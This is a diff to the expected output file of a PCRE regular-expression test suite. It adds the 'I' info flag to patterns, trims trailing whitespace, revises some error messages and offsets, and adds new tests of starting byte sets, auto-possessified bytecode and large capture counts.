-"(?P<name0>a)(?P<name1>a)(?P<name2>a)(?P<name3>a)(?P<name4>a)(?P<name5>a)(?P<name6>a)(?P<name7>a)(?P<name8>a)(?P<name9>a)(?P<name10>a)(?P<name11>a)(?P<name12>a)(?P<name13>a)(?P<name14>a)(?P<name15>a)(?P<name16>a)(?P<name17>a)(?P<name18>a)(?P<name19>a)(?P<name20>a)(?P<name21>a)(?P<name22>a)(?P<name23>a)(?P<name24>a)(?P<name25>a)(?P<name26>a)(?P<name27>a)(?P<name28>a)(?P<name29>a)(?P<name30>a)(?P<name31>a)(?P<name32>a)(?P<name33>a)(?P<name34>a)(?P<name35>a)(?P<name36>a)(?P<name37>a)(?P<name38>a)(?P<name39>a)(?P<name40>a)(?P<name41>a)(?P<name42>a)(?P<name43>a)(?P<name44>a)(?P<name45>a)(?P<name46>a)(?P<name47>a)(?P<name48>a)(?P<name49>a)(?P<name50>a)(?P<name51>a)(?P<name52>a)(?P<name53>a)(?P<name54>a)(?P<name55>a)(?P<name56>a)(?P<name57>a)(?P<name58>a)(?P<name59>a)(?P<name60>a)(?P<name61>a)(?P<name62>a)(?P<name63>a)(?P<name64>a)(?P<name65>a)(?P<name66>a)(?P<name67>a)(?P<name68>a)(?P<name69>a)(?P<name70>a)(?P<name71>a)(?P<name72>a)(?P<name73>a)(?P<name74>a)(?P<name75>a)(?P<name76>a)(?P<name77>a)(?P<name78>a)(?P<name79>a)(?P<name80>a)(?P<name81>a)(?P<name82>a)(?P<name83>a)(?P<name84>a)(?P<name85>a)(?P<name86>a)(?P<name87>a)(?P<name88>a)(?P<name89>a)(?P<name90>a)(?P<name91>a)(?P<name92>a)(?P<name93>a)(?P<name94>a)(?P<name95>a)(?P<name96>a)(?P<name97>a)(?P<name98>a)(?P<name99>a)(?P<name100>a)"
+"(?P<name0>a)(?P<name1>a)(?P<name2>a)(?P<name3>a)(?P<name4>a)(?P<name5>a)(?P<name6>a)(?P<name7>a)(?P<name8>a)(?P<name9>a)(?P<name10>a)(?P<name11>a)(?P<name12>a)(?P<name13>a)(?P<name14>a)(?P<name15>a)(?P<name16>a)(?P<name17>a)(?P<name18>a)(?P<name19>a)(?P<name20>a)(?P<name21>a)(?P<name22>a)(?P<name23>a)(?P<name24>a)(?P<name25>a)(?P<name26>a)(?P<name27>a)(?P<name28>a)(?P<name29>a)(?P<name30>a)(?P<name31>a)(?P<name32>a)(?P<name33>a)(?P<name34>a)(?P<name35>a)(?P<name36>a)(?P<name37>a)(?P<name38>a)(?P<name39>a)(?P<name40>a)(?P<name41>a)(?P<name42>a)(?P<name43>a)(?P<name44>a)(?P<name45>a)(?P<name46>a)(?P<name47>a)(?P<name48>a)(?P<name49>a)(?P<name50>a)(?P<name51>a)(?P<name52>a)(?P<name53>a)(?P<name54>a)(?P<name55>a)(?P<name56>a)(?P<name57>a)(?P<name58>a)(?P<name59>a)(?P<name60>a)(?P<name61>a)(?P<name62>a)(?P<name63>a)(?P<name64>a)(?P<name65>a)(?P<name66>a)(?P<name67>a)(?P<name68>a)(?P<name69>a)(?P<name70>a)(?P<name71>a)(?P<name72>a)(?P<name73>a)(?P<name74>a)(?P<name75>a)(?P<name76>a)(?P<name77>a)(?P<name78>a)(?P<name79>a)(?P<name80>a)(?P<name81>a)(?P<name82>a)(?P<name83>a)(?P<name84>a)(?P<name85>a)(?P<name86>a)(?P<name87>a)(?P<name88>a)(?P<name89>a)(?P<name90>a)(?P<name91>a)(?P<name92>a)(?P<name93>a)(?P<name94>a)(?P<name95>a)(?P<name96>a)(?P<name97>a)(?P<name98>a)(?P<name99>a)(?P<name100>a)"I
 Capturing subpattern count = 101
 Named capturing subpatterns:
   name0     1
@@ -5945,7 +5898,7 @@
 13: a
 14: a
 
-"(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)"
+"(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)"I
 Capturing subpattern count = 101
 No options
 First char = 'a'
@@ -5968,7 +5921,7 @@
 13: a
 14: a
 
-/[^()]*(?:\((?R)\)[^()]*)*/
+/[^()]*(?:\((?R)\)[^()]*)*/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
@@ -5976,12 +5929,12 @@
 No need char
     (this(and)that
  0: 
-    (this(and)that) 
+    (this(and)that)
  0: (this(and)that)
     (this(and)that)stuff
  0: (this(and)that)stuff
 
-/[^()]*(?:\((?>(?R))\)[^()]*)*/
+/[^()]*(?:\((?>(?R))\)[^()]*)*/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
@@ -5989,10 +5942,10 @@
 No need char
     (this(and)that
  0: 
-    (this(and)that) 
+    (this(and)that)
  0: (this(and)that)
-    
-/[^()]*(?:\((?R)\))*[^()]*/
+
+/[^()]*(?:\((?R)\))*[^()]*/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
@@ -6000,10 +5953,10 @@
 No need char
     (this(and)that
  0: 
-    (this(and)that) 
+    (this(and)that)
  0: (this(and)that)
 
-/(?:\((?R)\))*[^()]*/
+/(?:\((?R)\))*[^()]*/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
@@ -6011,12 +5964,12 @@
 No need char
     (this(and)that
  0: 
-    (this(and)that) 
+    (this(and)that)
  0: 
-    ((this)) 
+    ((this))
  0: ((this))
 
-/(?:\((?R)\))|[^()]*/
+/(?:\((?R)\))|[^()]*/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
@@ -6024,34 +5977,34 @@
 No need char
     (this(and)that
  0: 
-    (this(and)that) 
+    (this(and)that)
  0: 
     (this)
  0: (this)
-    ((this)) 
+    ((this))
  0: ((this))
-    
-/a(b)c/PN
+
+/a(b)c/IPN
     abc
 Matched with REG_NOSUB
-    
-/a(?P<name>b)c/PN
-    abc  
+
+/a(?P<name>b)c/IPN
+    abc
 Matched with REG_NOSUB
-    
-/\x{100}/ 
+
+/\x{100}/I
 Failed: character value in \x{...} sequence is too large at offset 6
 
-/\x{0000ff}/
+/\x{0000ff}/I
 Capturing subpattern count = 0
 No options
 First char = 255
 No need char
 
-/^((?P<A>a1)|(?P<A>a2)b)/
-Failed: two named subpatterns have the same name at offset 18
+/^((?P<A>a1)|(?P<A>a2)b)/I
+Failed: two named subpatterns have the same name at offset 17
 
-/^((?P<A>a1)|(?P<A>a2)b)/J
+/^((?P<A>a1)|(?P<A>a2)b)/IJ
 Capturing subpattern count = 3
 Named capturing subpatterns:
   A   2
@@ -6064,7 +6017,7 @@
  1: a1
  2: a1
   C a1 (2) A
-    a2b\CA 
+    a2b\CA
  0: a2b
  1: a2b
  2: <unset>
@@ -6072,15 +6025,15 @@
   C a2 (2) A
     ** Failers
 No match
-    a1b\CZ\CA 
+    a1b\CZ\CA
 no parentheses with name "Z"
  0: a1
  1: a1
  2: a1
 copy substring Z failed -7
   C a1 (2) A
-    
-/^(?P<A>a)(?P<A>b)/J
+
+/^(?P<A>a)(?P<A>b)/IJ
 Capturing subpattern count = 2
 Named capturing subpatterns:
   A   1
@@ -6093,8 +6046,8 @@
  1: a
  2: b
   C a (1) A
-    
-/^(?P<A>a)(?P<A>b)|cd/J
+
+/^(?P<A>a)(?P<A>b)|cd/IJ
 Capturing subpattern count = 2
 Named capturing subpatterns:
   A   1
@@ -6107,11 +6060,11 @@
  1: a
  2: b
   C a (1) A
-    cd\CA 
+    cd\CA
  0: cd
 copy substring A failed -7
-  
-/^(?P<A>a)(?P<A>b)|cd(?P<A>ef)(?P<A>gh)/J
+
+/^(?P<A>a)(?P<A>b)|cd(?P<A>ef)(?P<A>gh)/IJ
 Capturing subpattern count = 4
 Named capturing subpatterns:
   A   1
@@ -6121,15 +6074,15 @@
 Options: dupnames
 No first char
 No need char
-    cdefgh\CA 
+    cdefgh\CA
  0: cdefgh
  1: <unset>
  2: <unset>
  3: ef
  4: gh
   C ef (2) A
-  
-/^((?P<A>a1)|(?P<A>a2)b)/J
+
+/^((?P<A>a1)|(?P<A>a2)b)/IJ
 Capturing subpattern count = 3
 Named capturing subpatterns:
   A   2
@@ -6142,7 +6095,7 @@
  1: a1
  2: a1
   G a1 (2) A
-    a2b\GA 
+    a2b\GA
  0: a2b
  1: a2b
  2: <unset>
@@ -6150,15 +6103,15 @@
   G a2 (2) A
     ** Failers
 No match
-    a1b\GZ\GA 
+    a1b\GZ\GA
 no parentheses with name "Z"
  0: a1
  1: a1
  2: a1
 copy substring Z failed -7
   G a1 (2) A
-    
-/^(?P<A>a)(?P<A>b)/J
+
+/^(?P<A>a)(?P<A>b)/IJ
 Capturing subpattern count = 2
 Named capturing subpatterns:
   A   1
@@ -6171,8 +6124,8 @@
  1: a
  2: b
   G a (1) A
-    
-/^(?P<A>a)(?P<A>b)|cd/J
+
+/^(?P<A>a)(?P<A>b)|cd/IJ
 Capturing subpattern count = 2
 Named capturing subpatterns:
   A   1
@@ -6185,11 +6138,11 @@
  1: a
  2: b
   G a (1) A
-    cd\GA 
+    cd\GA
  0: cd
 copy substring A failed -7
-  
-/^(?P<A>a)(?P<A>b)|cd(?P<A>ef)(?P<A>gh)/J
+
+/^(?P<A>a)(?P<A>b)|cd(?P<A>ef)(?P<A>gh)/IJ
 Capturing subpattern count = 4
 Named capturing subpatterns:
   A   1
@@ -6199,20 +6152,21 @@
 Options: dupnames
 No first char
 No need char
-    cdefgh\GA 
+    cdefgh\GA
  0: cdefgh
  1: <unset>
  2: <unset>
  3: ef
  4: gh
   G ef (2) A
-  
-/(?J)^((?P<A>a1)|(?P<A>a2)b)/
+
+/(?J)^((?P<A>a1)|(?P<A>a2)b)/I
 Capturing subpattern count = 3
 Named capturing subpatterns:
   A   2
   A   3
 Options: anchored dupnames
+Duplicate name status changes
 No first char
 No need char
     a1b\CA
@@ -6220,25 +6174,25 @@
  1: a1
  2: a1
   C a1 (2) A
-    a2b\CA 
+    a2b\CA
  0: a2b
  1: a2b
  2: <unset>
  3: a2
   C a2 (2) A
-    
-/^(?P<A>a) (?J:(?P<B>b)(?P<B>c)) (?P<A>d)/
-Failed: two named subpatterns have the same name at offset 38
 
+/^(?P<A>a) (?J:(?P<B>b)(?P<B>c)) (?P<A>d)/I
+Failed: two named subpatterns have the same name at offset 37
+
 / In this next test, J is not set at the outer level; consequently it isn't
-set in the pattern's options; consequently pcre_get_named_substring() produces 
-a random value. /x
+set in the pattern's options; consequently pcre_get_named_substring() produces
+a random value. /Ix
 Capturing subpattern count = 1
 Options: extended
 First char = 'I'
 Need char = 'e'
 
-/^(?P<A>a) (?J:(?P<B>b)(?P<B>c)) (?P<C>d)/
+/^(?P<A>a) (?J:(?P<B>b)(?P<B>c)) (?P<C>d)/I
 Capturing subpattern count = 4
 Named capturing subpatterns:
   A   1
@@ -6246,6 +6200,7 @@
   B   3
   C   4
 Options: anchored
+Duplicate name status changes
 No first char
 No need char
     a bc d\CA\CB\CC
@@ -6258,7 +6213,7 @@
   C b (1) B
   C d (1) C
 
-/^(?P<A>a)?(?(A)a|b)/
+/^(?P<A>a)?(?(A)a|b)/I
 Capturing subpattern count = 1
 Named capturing subpatterns:
   A   1
@@ -6272,10 +6227,10 @@
  0: b
     ** Failers
 No match
-    abc   
+    abc
 No match
 
-/(?:(?(ZZ)a|b)(?P<ZZ>X))+/
+/(?:(?(ZZ)a|b)(?P<ZZ>X))+/I
 Capturing subpattern count = 1
 Named capturing subpatterns:
   ZZ   1
@@ -6286,13 +6241,13 @@
  0: bXaX
  1: X
 
-/(?:(?(2y)a|b)(X))+/
+/(?:(?(2y)a|b)(X))+/I
 Failed: reference to non-existent subpattern at offset 9
 
-/(?:(?(ZA)a|b)(?P<ZZ>X))+/
+/(?:(?(ZA)a|b)(?P<ZZ>X))+/I
 Failed: reference to non-existent subpattern at offset 9
 
-/(?:(?(ZZ)a|b)(?(ZZ)a|b)(?P<ZZ>X))+/
+/(?:(?(ZZ)a|b)(?(ZZ)a|b)(?P<ZZ>X))+/I
 Capturing subpattern count = 1
 Named capturing subpatterns:
   ZZ   1
@@ -6303,7 +6258,7 @@
  0: bbXaaX
  1: X
 
-/(?:(?(ZZ)a|\(b\))\\(?P<ZZ>X))+/
+/(?:(?(ZZ)a|\(b\))\\(?P<ZZ>X))+/I
 Capturing subpattern count = 1
 Named capturing subpatterns:
   ZZ   1
@@ -6314,10 +6269,10 @@
  0: (b)\Xa\X
  1: X
 
-/(?P<ABC/
-Failed: syntax error after (?P at offset 7
+/(?P<ABC/I
+Failed: syntax error in subpattern name (missing terminator) at offset 7
 
-/(?:(?(A)(?P=A)a|b)(?P<A>X|Y))+/
+/(?:(?(A)(?P=A)a|b)(?P<A>X|Y))+/I
 Capturing subpattern count = 1
 Max back reference = 1
 Named capturing subpatterns:
@@ -6328,11 +6283,11 @@
     bXXaYYaY
  0: bXXaYYaY
  1: Y
-    bXYaXXaX  
+    bXYaXXaX
  0: bX
  1: X
 
-/()()()()()()()()()(?:(?(A)(?P=A)a|b)(?P<A>X|Y))+/
+/()()()()()()()()()(?:(?(A)(?P=A)a|b)(?P<A>X|Y))+/I
 Capturing subpattern count = 10
 Max back reference = 10
 Named capturing subpatterns:
@@ -6353,10 +6308,10 @@
  9: 
 10: Y
 
-/\777/
+/\777/I
 Failed: octal value is greater than \377 (not in UTF-8 mode) at offset 3
 
-/\s*,\s*/S
+/\s*,\s*/IS
 Capturing subpattern count = 0
 Partial matching not supported
 No options
@@ -6365,10 +6320,10 @@
 Starting byte set: \x09 \x0a \x0c \x0d \x20 , 
     \x0b,\x0b
  0: ,
-    \x0c,\x0d 
+    \x0c,\x0d
  0: \x0c,\x0d
 
-/^abc/m
+/^abc/Im
 Capturing subpattern count = 0
 Options: multiline
 First char at start or follows newline
@@ -6383,7 +6338,7 @@
  0: abc
     xyz\r\nabc\<crlf>
  0: abc
-    ** Failers 
+    ** Failers
 No match
     xyz\nabc\<cr>
 No match
@@ -6395,38 +6350,39 @@
 No match
     xyz\rabc\<lf>
 No match
-    
-/abc$/m
+
+/abc$/Im<lf>
 Capturing subpattern count = 0
 Options: multiline
+Forced newline sequence: LF
 First char = 'a'
 Need char = 'c'
     xyzabc
  0: abc
-    xyzabc\n 
+    xyzabc\n
  0: abc
-    xyzabc\npqr 
+    xyzabc\npqr
  0: abc
-    xyzabc\r\<cr> 
+    xyzabc\r\<cr>
  0: abc
-    xyzabc\rpqr\<cr> 
+    xyzabc\rpqr\<cr>
  0: abc
-    xyzabc\r\n\<crlf> 
+    xyzabc\r\n\<crlf>
  0: abc
-    xyzabc\r\npqr\<crlf> 
+    xyzabc\r\npqr\<crlf>
  0: abc
     ** Failers
 No match
-    xyzabc\r 
+    xyzabc\r
 No match
-    xyzabc\rpqr 
+    xyzabc\rpqr
 No match
-    xyzabc\r\n 
+    xyzabc\r\n
 No match
-    xyzabc\r\npqr 
+    xyzabc\r\npqr
 No match
-    
-/^abc/m<cr>
+
+/^abc/Im<cr>
 Capturing subpattern count = 0
 Options: multiline
 Forced newline sequence: CR
@@ -6436,12 +6392,12 @@
  0: abc
     xyz\nabcdef\<lf>
  0: abc
-    ** Failers  
+    ** Failers
 No match
     xyz\nabcdef
 No match
-       
-/^abc/m<lf>
+
+/^abc/Im<lf>
 Capturing subpattern count = 0
 Options: multiline
 Forced newline sequence: LF
@@ -6451,12 +6407,12 @@
  0: abc
     xyz\rabcdef\<cr>
  0: abc
-    ** Failers  
+    ** Failers
 No match
     xyz\rabcdef
 No match
-       
-/^abc/m<crlf>
+
+/^abc/Im<crlf>
 Capturing subpattern count = 0
 Options: multiline
 Forced newline sequence: CRLF
@@ -6466,29 +6422,30 @@
  0: abc
     xyz\rabcdef\<cr>
  0: abc
-    ** Failers  
+    ** Failers
 No match
     xyz\rabcdef
 No match
-    
-/^abc/m<bad>
+
+/^abc/Im<bad>
 Unknown newline type at: <bad>
 
 
-/abc/
+/abc/I
 Capturing subpattern count = 0
 No options
 First char = 'a'
 Need char = 'c'
     xyz\rabc\<bad>
 Unknown newline type at: <bad>
-    abc  
+    abc
  0: abc
-       
-/.*/
+
+/.*/I<lf>
 Capturing subpattern count = 0
 Partial matching not supported
-No options
+Options:
+Forced newline sequence: LF
 First char at start or follows newline
 No need char
     abc\ndef
@@ -6510,7 +6467,7 @@
     \<crlf>abc\r\ndef
  0: abc
 
-/\w+(.)(.)?def/s
+/\w+(.)(.)?def/Is
 Capturing subpattern count = 2
 Partial matching not supported
 Options: dotall
@@ -6527,7 +6484,7 @@
  1: \x0d
  2: \x0a
 
-+((?:\s|//.*\\n|/[*](?:\\n|.)*?[*]/)*)+
++((?:\s|//.*\\n|/[*](?:\\n|.)*?[*]/)*)+I
 Capturing subpattern count = 1
 Partial matching not supported
 No options
@@ -6539,7 +6496,7 @@
  0: /* this is a C style comment */
  1: /* this is a C style comment */
 
-/(?P<B>25[0-5]|2[0-4]\d|[01]?\d?\d)(?:\.(?P>B)){3}/
+/(?P<B>25[0-5]|2[0-4]\d|[01]?\d?\d)(?:\.(?P>B)){3}/I
 Capturing subpattern count = 1
 Named capturing subpatterns:
   B   1
@@ -6547,8 +6504,3340 @@
 No first char
 Need char = '.'
 
-/ End of testinput2 /
+/()()()()()()()()()()()()()()()()()()()()
+ ()()()()()()()()()()()()()()()()()()()()
+ ()()()()()()()()()()()()()()()()()()()()
+ ()()()()()()()()()()()()()()()()()()()()
+ ()()()()()()()()()()()()()()()()()()()()
+ (.(.))/Ix
+Capturing subpattern count = 102
+Options: extended
+No first char
+No need char
+    XY\O400
+ 0: XY
+ 1: 
+ 2: 
+ 3: 
+ 4: 
+ 5: 
+ 6: 
+ 7: 
+ 8: 
+ 9: 
+10: 
+11: 
+12: 
+13: 
+14: 
+15: 
+16: 
+17: 
+18: 
+19: 
+20: 
+21: 
+22: 
+23: 
+24: 
+25: 
+26: 
+27: 
+28: 
+29: 
+30: 
+31: 
+32: 
+33: 
+34: 
+35: 
+36: 
+37: 
+38: 
+39: 
+40: 
+41: 
+42: 
+43: 
+44: 
+45: 
+46: 
+47: 
+48: 
+49: 
+50: 
+51: 
+52: 
+53: 
+54: 
+55: 
+56: 
+57: 
+58: 
+59: 
+60: 
+61: 
+62: 
+63: 
+64: 
+65: 
+66: 
+67: 
+68: 
+69: 
+70: 
+71: 
+72: 
+73: 
+74: 
+75: 
+76: 
+77: 
+78: 
+79: 
+80: 
+81: 
+82: 
+83: 
+84: 
+85: 
+86: 
+87: 
+88: 
+89: 
+90: 
+91: 
+92: 
+93: 
+94: 
+95: 
+96: 
+97: 
+98: 
+99: 
+100: 
+101: XY
+102: Y
+
+/(a*b|(?i:c*(?-i)d))/IS
+Capturing subpattern count = 1
+Partial matching not supported
+No options
+No first char
+No need char
+Starting byte set: C a b c d 
+
+/()[ab]xyz/IS
+Capturing subpattern count = 1
+No options
+No first char
+Need char = 'z'
+Starting byte set: a b 
+
+/(|)[ab]xyz/IS
+Capturing subpattern count = 1
+No options
+No first char
+Need char = 'z'
+Starting byte set: a b 
+
+/(|c)[ab]xyz/IS
+Capturing subpattern count = 1
+No options
+No first char
+Need char = 'z'
+Starting byte set: a b c 
+
+/(|c?)[ab]xyz/IS
+Capturing subpattern count = 1
+No options
+No first char
+Need char = 'z'
+Starting byte set: a b c 
+
+/(d?|c?)[ab]xyz/IS
+Capturing subpattern count = 1
+No options
+No first char
+Need char = 'z'
+Starting byte set: a b c d 
+
+/(d?|c)[ab]xyz/IS
+Capturing subpattern count = 1
+No options
+No first char
+Need char = 'z'
+Starting byte set: a b c d 
+
+/^a*b\d/DZ
+------------------------------------------------------------------
+        Bra
+        ^
+        a*+
+        b
+        \d
+        Ket
+        End
+------------------------------------------------------------------
 Capturing subpattern count = 0
+Partial matching not supported
+Options: anchored
+No first char
+Need char = 'b'
+
+/^a*+b\d/DZ
+------------------------------------------------------------------
+        Bra
+        ^
+        a*+
+        b
+        \d
+        Ket
+        End
+------------------------------------------------------------------
+Capturing subpattern count = 0
+Partial matching not supported
+Options: anchored
+No first char
+Need char = 'b'
+
+/^a*?b\d/DZ
+------------------------------------------------------------------
+        Bra
+        ^
+        a*+
+        b
+        \d
+        Ket
+        End
+------------------------------------------------------------------
+Capturing subpattern count = 0
+Partial matching not supported
+Options: anchored
+No first char
+Need char = 'b'
+
+/^a+A\d/DZ
+------------------------------------------------------------------
+        Bra
+        ^
+        a++
+        A
+        \d
+        Ket
+        End
+------------------------------------------------------------------
+Capturing subpattern count = 0
+Partial matching not supported
+Options: anchored
+No first char
+Need char = 'A'
+    aaaA5
+ 0: aaaA5
+    ** Failers
+No match
+    aaaa5
+No match
+
+/^a*A\d/IiDZ
+------------------------------------------------------------------
+        Bra
+        ^
+        a*
+     NC A
+        \d
+        Ket
+        End
+------------------------------------------------------------------
+Capturing subpattern count = 0
+Partial matching not supported
+Options: anchored caseless
+No first char
+Need char = 'A' (caseless)
+    aaaA5
+ 0: aaaA5
+    aaaa5
+ 0: aaaa5
+
+/(a*|b*)[cd]/IS
+Capturing subpattern count = 1
+Partial matching not supported
 No options
-First char = ' '
-Need char = ' '
+No first char
+No need char
+Starting byte set: a b c d 
+
+/(a+|b*)[cd]/IS
+Capturing subpattern count = 1
+Partial matching not supported
+No options
+No first char
+No need char
+Starting byte set: a b c d 
+
+/(a*|b+)[cd]/IS
+Capturing subpattern count = 1
+Partial matching not supported
+No options
+No first char
+No need char
+Starting byte set: a b c d 
+
+/(a+|b+)[cd]/IS
+Capturing subpattern count = 1
+Partial matching not supported
+No options
+No first char
+No need char
+Starting byte set: a b 
+
+/((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
+ ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
+ (((
+ a
+ ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
+ ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
+ )))
+/Ix
+Capturing subpattern count = 203
+Options: extended
+First char = 'a'
+No need char
+  large nest
+Matched, but too many substrings
+ 0: a
+ 1: a
+ 2: a
+ 3: a
+ 4: a
+ 5: a
+ 6: a
+ 7: a
+ 8: a
+ 9: a
+10: a
+11: a
+12: a
+13: a
+14: a
+
+/a*\d/BZ
+------------------------------------------------------------------
+        Bra
+        a*+
+        \d
+        Ket
+        End
+------------------------------------------------------------------
+
+/a*\D/BZ
+------------------------------------------------------------------
+        Bra
+        a*
+        \D
+        Ket
+        End
+------------------------------------------------------------------
+
+/0*\d/BZ
+------------------------------------------------------------------
+        Bra
+        0*
+        \d
+        Ket
+        End
+------------------------------------------------------------------
+
+/0*\D/BZ
+------------------------------------------------------------------
+        Bra
+        0*+
+        \D
+        Ket
+        End
+------------------------------------------------------------------
+
+/a*\s/BZ
+------------------------------------------------------------------
+        Bra
+        a*+
+        \s
+        Ket
+        End
+------------------------------------------------------------------
+
+/a*\S/BZ
+------------------------------------------------------------------
+        Bra
+        a*
+        \S
+        Ket
+        End
+------------------------------------------------------------------
+
+/ *\s/BZ
+------------------------------------------------------------------
+        Bra
+         *
+        \s
+        Ket
+        End
+------------------------------------------------------------------
+
+/ *\S/BZ
+------------------------------------------------------------------
+        Bra
+         *+
+        \S
+        Ket
+        End
+------------------------------------------------------------------
+
+/a*\w/BZ
+------------------------------------------------------------------
+        Bra
+        a*
+        \w
+        Ket
+        End
+------------------------------------------------------------------
+
+/a*\W/BZ
+------------------------------------------------------------------
+        Bra
+        a*+
+        \W
+        Ket
+        End
+------------------------------------------------------------------
+
+/=*\w/BZ
+------------------------------------------------------------------
+        Bra
+        =*+
+        \w
+        Ket
+        End
+------------------------------------------------------------------
+
+/=*\W/BZ
+------------------------------------------------------------------
+        Bra
+        =*
+        \W
+        Ket
+        End
+------------------------------------------------------------------
+
+/\d*a/BZ
+------------------------------------------------------------------
+        Bra
+        \d*+
+        a
+        Ket
+        End
+------------------------------------------------------------------
+
+/\d*2/BZ
+------------------------------------------------------------------
+        Bra
+        \d*
+        2
+        Ket
+        End
+------------------------------------------------------------------
+
+/\d*\d/BZ
+------------------------------------------------------------------
+        Bra
+        \d*
+        \d
+        Ket
+        End
+------------------------------------------------------------------
+
+/\d*\D/BZ
+------------------------------------------------------------------
+        Bra
+        \d*+
+        \D
+        Ket
+        End
+------------------------------------------------------------------
+
+/\d*\s/BZ
+------------------------------------------------------------------
+        Bra
+        \d*+
+        \s
+        Ket
+        End
+------------------------------------------------------------------
+
+/\d*\S/BZ
+------------------------------------------------------------------
+        Bra
+        \d*
+        \S
+        Ket
+        End
+------------------------------------------------------------------
+
+/\d*\w/BZ
+------------------------------------------------------------------
+        Bra
+        \d*
+        \w
+        Ket
+        End
+------------------------------------------------------------------
+
+/\d*\W/BZ
+------------------------------------------------------------------
+        Bra
+        \d*+
+        \W
+        Ket
+        End
+------------------------------------------------------------------
+
+/\D*a/BZ
+------------------------------------------------------------------
+        Bra
+        \D*
+        a
+        Ket
+        End
+------------------------------------------------------------------
+
+/\D*2/BZ
+------------------------------------------------------------------
+        Bra
+        \D*+
+        2
+        Ket
+        End
+------------------------------------------------------------------
+
+/\D*\d/BZ
+------------------------------------------------------------------
+        Bra
+        \D*+
+        \d
+        Ket
+        End
+------------------------------------------------------------------
+
+/\D*\D/BZ
+------------------------------------------------------------------
+        Bra
+        \D*
+        \D
+        Ket
+        End
+------------------------------------------------------------------
+
+/\D*\s/BZ
+------------------------------------------------------------------
+        Bra
+        \D*
+        \s
+        Ket
+        End
+------------------------------------------------------------------
+
+/\D*\S/BZ
+------------------------------------------------------------------
+        Bra
+        \D*
+        \S
+        Ket
+        End
+------------------------------------------------------------------
+
+/\D*\w/BZ
+------------------------------------------------------------------
+        Bra
+        \D*
+        \w
+        Ket
+        End
+------------------------------------------------------------------
+
+/\D*\W/BZ
+------------------------------------------------------------------
+        Bra
+        \D*
+        \W
+        Ket
+        End
+------------------------------------------------------------------
+
+/\s*a/BZ
+------------------------------------------------------------------
+        Bra
+        \s*+
+        a
+        Ket
+        End
+------------------------------------------------------------------
+
+/\s*2/BZ
+------------------------------------------------------------------
+        Bra
+        \s*+
+        2
+        Ket
+        End
+------------------------------------------------------------------
+
+/\s*\d/BZ
+------------------------------------------------------------------
+        Bra
+        \s*+
+        \d
+        Ket
+        End
+------------------------------------------------------------------
+
+/\s*\D/BZ
+------------------------------------------------------------------
+        Bra
+        \s*
+        \D
+        Ket
+        End
+------------------------------------------------------------------
+
+/\s*\s/BZ
+------------------------------------------------------------------
+        Bra
+        \s*
+        \s
+        Ket
+        End
+------------------------------------------------------------------
+
+/\s*\S/BZ
+------------------------------------------------------------------
+        Bra
+        \s*+
+        \S
+        Ket
+        End
+------------------------------------------------------------------
+
+/\s*\w/BZ
+------------------------------------------------------------------
+        Bra
+        \s*+
+        \w
+        Ket
+        End
+------------------------------------------------------------------
+
+/\s*\W/BZ
+------------------------------------------------------------------
+        Bra
+        \s*
+        \W
+        Ket
+        End
+------------------------------------------------------------------
+
+/\S*a/BZ
+------------------------------------------------------------------
+        Bra
+        \S*
+        a
+        Ket
+        End
+------------------------------------------------------------------
+
+/\S*2/BZ
+------------------------------------------------------------------
+        Bra
+        \S*
+        2
+        Ket
+        End
+------------------------------------------------------------------
+
+/\S*\d/BZ
+------------------------------------------------------------------
+        Bra
+        \S*
+        \d
+        Ket
+        End
+------------------------------------------------------------------
+
+/\S*\D/BZ
+------------------------------------------------------------------
+        Bra
+        \S*
+        \D
+        Ket
+        End
+------------------------------------------------------------------
+
+/\S*\s/BZ
+------------------------------------------------------------------
+        Bra
+        \S*+
+        \s
+        Ket
+        End
+------------------------------------------------------------------
+
+/\S*\S/BZ
+------------------------------------------------------------------
+        Bra
+        \S*
+        \S
+        Ket
+        End
+------------------------------------------------------------------
+
+/\S*\w/BZ
+------------------------------------------------------------------
+        Bra
+        \S*
+        \w
+        Ket
+        End
+------------------------------------------------------------------
+
+/\S*\W/BZ
+------------------------------------------------------------------
+        Bra
+        \S*
+        \W
+        Ket
+        End
+------------------------------------------------------------------
+
+/\w*a/BZ
+------------------------------------------------------------------
+        Bra
+        \w*
+        a
+        Ket
+        End
+------------------------------------------------------------------
+
+/\w*2/BZ
+------------------------------------------------------------------
+        Bra
+        \w*
+        2
+        Ket
+        End
+------------------------------------------------------------------
+
+/\w*\d/BZ
+------------------------------------------------------------------
+        Bra
+        \w*
+        \d
+        Ket
+        End
+------------------------------------------------------------------
+
+/\w*\D/BZ
+------------------------------------------------------------------
+        Bra
+        \w*
+        \D
+        Ket
+        End
+------------------------------------------------------------------
+
+/\w*\s/BZ
+------------------------------------------------------------------
+        Bra
+        \w*+
+        \s
+        Ket
+        End
+------------------------------------------------------------------
+
+/\w*\S/BZ
